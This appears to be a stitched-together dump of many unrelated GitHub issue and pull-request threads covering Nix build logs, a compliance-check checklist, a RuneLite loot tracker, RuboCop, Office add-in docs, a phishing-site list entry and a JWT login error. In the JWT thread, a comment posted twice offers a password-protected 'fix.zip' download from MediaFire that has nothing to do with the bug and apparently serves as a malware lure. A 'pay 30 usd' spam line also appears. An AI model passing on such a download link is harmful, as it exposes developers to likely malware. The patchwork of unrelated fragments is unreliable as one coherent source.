cannot build derivation '/nix/store/vqrwfg0bmrzbv1gy6n0h14ri46ljyq1q-zathura-djvu-0.2.8.drv': 1 dependencies couldn't be built
cannot build derivation '/nix/store/v69y5j3skica2lha7s4cskp1pcwblqpa-zathura-with-plugins-0.4.1.drv': 1 dependencies couldn't be built
error: build of '/nix/store/v69y5j3skica2lha7s4cskp1pcwblqpa-zathura-with-plugins-0.4.1.drv' failed

Success on aarch64-linux (full log)
Attempted: zathura
Partial log (click to expand)
glibPreFixupPhase
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/rimndnzysdza9iixiaz1fqnx2yfz6f5s-zathura-djvu-0.2.8
shrinking /nix/store/rimndnzysdza9iixiaz1fqnx2yfz6f5s-zathura-djvu-0.2.8/lib/zathura/libdjvu.so
strip is /nix/store/p9akxn2sfy4wkhqdqa3li97pc6jaz3r1-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/rimndnzysdza9iixiaz1fqnx2yfz6f5s-zathura-djvu-0.2.8/lib
patching script interpreter paths in /nix/store/rimndnzysdza9iixiaz1fqnx2yfz6f5s-zathura-djvu-0.2.8
checking for references to /build in /nix/store/rimndnzysdza9iixiaz1fqnx2yfz6f5s-zathura-djvu-0.2.8...
building '/nix/store/v69y5j3skica2lha7s4cskp1pcwblqpa-zathura-with-plugins-0.4.1.drv'...
/nix/store/mwayydr8rg3a2lc4fdr22p6zlq0v1d6i-zathura-with-plugins-0.4.1


Add Compliance check: staticAppSecTesting

How the Check Works
Provide a clear definition based on the spreadsheet
Pending Tasks
You can find more details in the contributing guide

[ ] 1. Define a Good Implementation Example

[ ] Read the documentation (guidelines, best practices...)
[ ] Brainstorm how to implement this check (logic, alerts, tasks, validations, edge cases...).
[ ] Achieve an agreement on the implementation details before starting to work on this.

[ ] 2. Update Check Record Example

[ ] Update the compliance_checks row with the following fields: how_to_url, implementation_status, implementation_type and implementation_details_reference
[ ] Check the migration scripts using npm run db:migrate and npm run db:rollback
[ ] Update the database schema by running npm run db:generate-schema

[ ] 3. Implement the Business Logic Validator Example and Check Example

[ ] Add the specific validator in src/checks/validators/index.js
[ ] Add the check logic in src/checks/complianceChecks
[ ] Ensure that the check is in scope for the organization (use isCheckApplicableToProjectCategory)
[ ] Ensure that the severity value is well calculated (use getSeverityFromPriorityGroup)
[ ] Add the alert row in the compliance_checks_alerts table when is needed.
[ ] Add the task row in the compliance_checks_tasks table when is needed.
[ ] Add the result row in the compliance_checks_results table.

[ ] 4. Ensure It Works as Expected

[ ] Add new unit tests for the validator check.
[ ] Add new integration test cases for this check.
[ ] Verify that all tests are passing.
[ ] Run the command check run --name {check_code_name} and verify the changes in the database. Update the seed script if needed (npm run db:seed)

[ ] 5. Update the website Example

[ ] Review the current content it in https://openjs-security-program-standards.netlify.app/details/{check_code_name}
[ ] Create a PR in https://github.com/secure-dashboards/openjs-security-program-standards to include how we calculate this check and include additional information on the mitigation if needed.

I think that we can use the OSSF Scorecard data (see). We can use the columns sast_score, sast_details and sast_reason to determine the check results. We should include alerts and tasks in this case.


Fix Title tags please - they are only showing neighborhoods

Please fix the regression on Title tags, they aren't showing the location info.
The IA defines them in col G.
For general locations they will be
[Location name] in [Area i.e. Bronx] | YourPeer
Example:
Ali Forney Center in Hell's Kitchen | YourPeer
And we don't want the preview to be just the neighborhood.

The title tags we set up to group certain types of locations are working

but individual location's title tags aren't.

Hi @shakilhossain1 I'm elevating this to high prio cos it's affecting how google is understanding the page. Please fix this asap.

@adambard1
Here's the fix for the title tags
https://yourpeer-shakil-fix-tit-2omvai.herokuapp.com


clue scroll drops in loot tracker

was doing clues while in f2p (beginner) and the loot tracker stacks the clue scrolls dropped by dark wizards (as i expect it would) when i went to p2p for medium clues, the mediums didn't stack in loot tracker and clogs up the loot (killing guards in fally) currently at ~15 clues, but when i am going for 100 it will definitely become more of an issue. dont know which one is meant to be implemented, but i would assume them stacking as if 1 drop (like every other drop that isn't stackable).

There seems to be only 1 beginner clue ID which is why the Dark Wizard clues are stacked.
LootTracker does not use ItemVariations for dropped loot, so each unique medium clue variation occupies a slot in the loot tab.
I'm not sure which of the proposed fixes is better in this case.

Use ItemVariations in LootTracker

downfall is that all CLUE_SCROLL_* IDs maps to CLUE_SCROLL, so we'd have to create new variations for each tier
w/ the new variations I'm not too familiar with the possible regression bugs

Treat clue scrolls as a separate case

check if the item is a clue scroll, and get the base clue ID for that tier.

Potentially utilize Immutable Sets and list each clue variant of the tier and link it to a base.
That way the builder tosses it all into a single item slot in the panel. You'd need to check if the item matches any of the set values on each drop.
Would probably link it in a separate file within the plugin for future proofing if we ever needed to add more. (Ref. RunEnergyPlugin)
Might be another way to do it, but this could be one option.


requests_cache.CachedSession was moved to requests_cache.session.CachedSession

Describe the bug
requests_cache.CachedSession was moved to  requests_cache.session.CachedSession

Indeed.
https://requests-cache.readthedocs.io/en/v0.6.4/api.html?highlight=CachedSession#sessions

That is the full module path, but changing it isn't necessary, since everything is imported into the top-level requests_cache package. requests_cache.CachedSession works in all versions >= 0.4.

That is the full module path, but changing it isn't necessary, since everything is imported into the top-level requests_cache package. requests_cache.CachedSession works in all versions >= 0.4.

You see, this is why I closed my PR that referenced this issue...


fix: Rename "about" link to hello page in footer

PR Type

[x] Bugfix

Needs Design check

@exezbcz please review

Context

[x] Closes #9663

Thanks!
pay 30 usd

quick


Clickable Pop-over for Small screen( < 768 px )

@championswimmer @juslee  Merge this https://github.com/fossasia/open-event-webapp/pull/315 before merging this one. This will solve Issue #316

@aayusharora
has conflicts


Incorrect recommendation suggested by Performance/ChainArrayAllocation Cop

Expected behavior
Expected RuboCop to suggest valid corrections.
Actual behavior
C: Performance/ChainArrayAllocation: Use unchained values_at! and compact! (followed by return array if required)
instead of chaining values_at...compact.

options.values_at("alpha", "beta", "gamma").compact.length > 1
                                           ^^^^^^^^

Problem
Hash instances do not respond to :values_at!
Steps to reproduce the problem
Run RuboCop against the following code:
def foo?(options = {})
  options.values_at("alpha", "beta", "gamma").compact.length > 1
end

Thanks for resolving this issue @fatkodima.
I have not manually tested the patch but will in a couple of days if a new version doesn't get shipped by then.


Publish an add-in developed with Visual Studio Code

In the deploy custom functions section, you say to create a new CORS rule. On Azure, there are four possible resource sharing options: Blob, File, Queue and Table. It is not clear from your documentation which option you should select. I have created a new rule for all four options but this does not seem right.
thanks,

@SussexGooner Please provide the URL of the article you are talking about.

https://learn.microsoft.com/en-us/office/dev/add-ins/publish/publish-add-in-vs-code
From: Rick Kirkham @.>
Sent: Sunday, December 29, 2024 1:57 PM
To: OfficeDev/office-js-docs-pr @.>
Cc: SussexGooner @.>; Mention @.>
Subject: Re: [OfficeDev/office-js-docs-pr] Publish an add-in developed with Visual Studio Code (Issue #4977)
@SussexGooner https://github.com/SussexGooner  Please provide the URL of the article you are talking about.
—
Reply to this email directly, view it on GitHub https://github.com/OfficeDev/office-js-docs-pr/issues/4977#issuecomment-2564836519 , or unsubscribe https://github.com/notifications/unsubscribe-auth/ARC46YHFSM4HOHBISXK5BWD2IBO3DAVCNFSM6AAAAABUK2PWGOVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDKNRUHAZTMNJRHE .
You are receiving this because you were mentioned.Message ID: @.***>

@davidchesnut It looks like you were the original writer of the Deploy custom functions for Excel section. Can you take a look?


Update all.json

Site
Urlscan
Screenshot

fastauth2fa.firebaseapp.com
https://urlscan.io/result/15baf552-2afd-4fd4-9938-1f11865ffe8e/dom/
https://user-images.githubusercontent.com/97024090/180091451-9a50331f-2339-4ca9-9abb-a1022b3a5f57.png

My last checkins before going to sleep


tetragon: Rename killer to enforcer

rename all the killer stuff to enforcer, plus one simple sensors fix

This PR contains a breaking change to a CRD, so I labeled it as such. @olsajiri could you write in the release note which fields changed?


Protect all data map modifications if BlockMode=true

This PR adds the BlockMode functionality to the following functions:

DeleteKey
GetKeyList
DeleteSection
GetSection

Thanks!


JwtAuthenticationService

Hi @iammukeshm,
I am getting an error with no details in the JwtAuthenticationService.cs file line 57
I am using SqlServer database. This error occured when getting your latest commit.

Thank you

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@commodus  is there any error log on the browser console?

@commodus  I dont seem to have this issue. It logs in fine for me. PS i am using PostgreSQL. I would need more info to figure out the issue

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Hello @iammukeshm, Thanks for your quick response. When I set the "launchBrowser" value to false in the launchSettings.json file and run the Blazor application on port 7100, I don't encounter this error. However, when I set the "launchBrowser" value to false on port 55951 and fill in the administrator settings and click the Sign In button, it gives me this error. I can catch this code block within a try-catch. Below, I am sharing the screenshot and stack trace.

'   at System.Net.Http.BrowserHttpInterop.d__131[[System.Runtime.InteropServices.JavaScript.JSObject, System.Runtime.InteropServices.JavaScript, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a]].MoveNext()\n   at System.Net.Http.BrowserHttpHandler.CallFetch(HttpRequestMessage request, CancellationToken cancellationToken, Nullable1 allowAutoRedirect)\n   at System.Net.Http.BrowserHttpHandler.g__Impl|53_0(HttpRequestMessage request, CancellationToken…pi.ApiClient.TokenGenerationEndpointAsync(String tenant, TokenGenerationCommand body, CancellationToken cancellationToken) in C:\Users\xxx\source\repos\dotnet-starter-kit\src\apps\blazor\infrastructure\Api\ApiClient.cs:line 3188\n   at FSH.Starter.Blazor.Infrastructure.Auth.Jwt.JwtAuthenticationService.LoginAsync(String tenantId, TokenGenerationCommand request) in C:\Users\xxx\source\repos\dotnet-starter-kit\src\apps\blazor\infrastructure\Auth\Jwt\JwtAuthenticationService.cs:line 59'

@commodus  I suspect this might be the CORS issue. It should be logged on your browser console i believe. So if you run your blazor application on , let's say port https://localhost:1234, you need to make sure to add this address to the API's app settings.
Specifically in this list,
"CorsOptions": {
  "AllowedOrigins": [
    "https://localhost:7100",
    "http://localhost:7100",
    "http://localhost:5010"
  ]
},

Only the requests coming from the addresses mentioned in this list will be allowed by the API. it will block requests from any other URLs. Let me know if this helps

Thank you. I will try it.


Allow setting padding for crop area

Is your feature request related to a problem? Please describe.
When restrictPosition is set to false, it would be great if there was a way to add some padding to the sides/height of the crop area.
Currently when the image already has the correct aspect ratio or similar it fills out the entire crop area horizontally.

Describe the solution you'd like
It would be great to allow for there always to be a certain amount of grey border around the image in the crop area, to make it clear that they can zoom in both directions.

Thanks for using the issue template!
This issue might help you: https://github.com/ValentinH/react-easy-crop/issues/502

Yes that helped. thanks


Make entire project a python package and installable with pip

I suggest to move all Python files except from train.py and enjoy.py to a Python package subdirectory which is installable via the additional setup.py. While this does not yet register the package as an official PyPI package, it allows to execute:
pip3 install https://github.com/ikostrikov/pytorch-a2c-ppo-acktr/archive/master.zip

and then write an individual training script. While this makes the entire project more maintainable it also facilitates the integration into individual projects.

I'm sorry that it takes so long to review the PR, I'm currently on an internship so I have much less free time.


Travis: update CI matrix

This PR only updates the CI matrix to the latest generally available Ruby versions.
Source for version numbers: https://github.com/rbenv/ruby-build/tree/master/share/ruby-build

Thanks for this. Could you please redo the PR in the cucumber/cucumber repo? This is a read-only mirror.
The change needs to be done for all implementations of Cucumber Expressions. Give it a shot if you want. Otherwise someone else will complete the PR for you.


Seeking Maintainers

Hi all, apologies with the glacial pace on this project recently.
I'm looking for one or more maintainers who would like to handle pull requests, issues and general maintenance for Arrow going forward.  If you're interested, please reply here or contact me privately.
Thanks.

Hello..
Can you to detail which requirements the new maintainer would like have..

I wouldn't mind helping out as well. I use arrow a lot.

i would consider it also. what do you have in mind on when it comes to responsibility and ownership of effort?

I'm interested in helping out - I use arrow quite a bit.

@crsmithdev
I am not sure if I would even fit the profile of a maintainer. On one hand I am something like that for two internal projects, but not in a public setting and at the scale of this library.
If you still need people shoot me a note non the less. We would probably find a way I might be able to support.


NvimTree errors out with new renderer options

First of all, thanks for this repo, it is a great source of inspiration for my own neovim setup!
After https://github.com/abzcoding/lvim/commit/cf0a5dfa01d84b754cb8bc09b9a4cd69a3ad54a2, NvimTree is erroring out when starting vim with
unknown option: respect_buf_cwd | unknown option: renderer.highlight_git | unknown option: renderer.icons.show | unknown option: renderer.icons.glyphs | unknown option: renderer.root_folder_modifier

Disclaimer: I am not using this repo directly, but I am using it as an inspiration, so it could be probably my fault, but I am out of idea.
I have checked Lvim and the options are defined: https://github.com/LunarVim/LunarVim/blob/rolling/lua/lvim/core/nvimtree.lua#L67
I have already reset the cache, it did not help.
Do you have any idea?

make sure that you have the latest version of nvim-tree.lua
cd ~/.local/share/lunarvim/site/pack/packer/start/nvim-tree.lua
git reset --hard
git pull origin master

Thanks! It did the trick. I am wondering why a :LvimSyncCorePlugins did not do the job.. Anyway, thanks a lot.

Thanks! It did the trick. I am wondering why a :LvimSyncCorePlugins did not do the job.. Anyway, thanks a lot.

if the plugin developer force pushes and removes the commit that you were on
sometimes packer gets confused
and you won't get the latest changes
I have a weird fix for those occasions
cd ~/.local/share/lunarvim/site/pack/packer/
find . -type d -depth 2 -exec git --git-dir={}/.git --work-tree=$PWD/{} pull \;


Show component displays "List" button even when no List component defined

Maybe this is more of a feature request, but if I define a Resource with Show component and no List component then the Show component still shows a button "List" in the action bar next to "Refresh". Clicking that button goes nowhere.
For my use case I have a Users resource but a User can see only their profile and not the list of all users, so I use the Show component as a profile page.

Actually, that's the behavior of Edit and Create too


JENKINS-24697 Add support for a validation query to prevent plugins getting a bad database handle returned

It would simplify the history if you could squash several commits to a single one...

Think I have squashed correctly but not sure first time I have done it

Seems that there are still a lot of commits: https://github.com/jenkinsci/database-plugin/pull/1/commits
Normally there should be only one remaining...

And the help page still is missing...

@daniel-beck ?

Wouldn't it make sense to address all issues before merging?

Woops thought I had but now I realize I forgot to push ;)

@KostyaSha Got the wrong autocompletion for da, or why did you summon me?


Map Entity#getWorld

Previously this method only existed in ServerPlayerEntity as getServerWorld however now all entities have a World getWorld() method and ServerPlayerEntity overloads it to ServerWorld getWorld()

That method is mapped in #2685.

My bad, was looking for ServerPlayerEntity when checking because that was the class I was using in my code 😅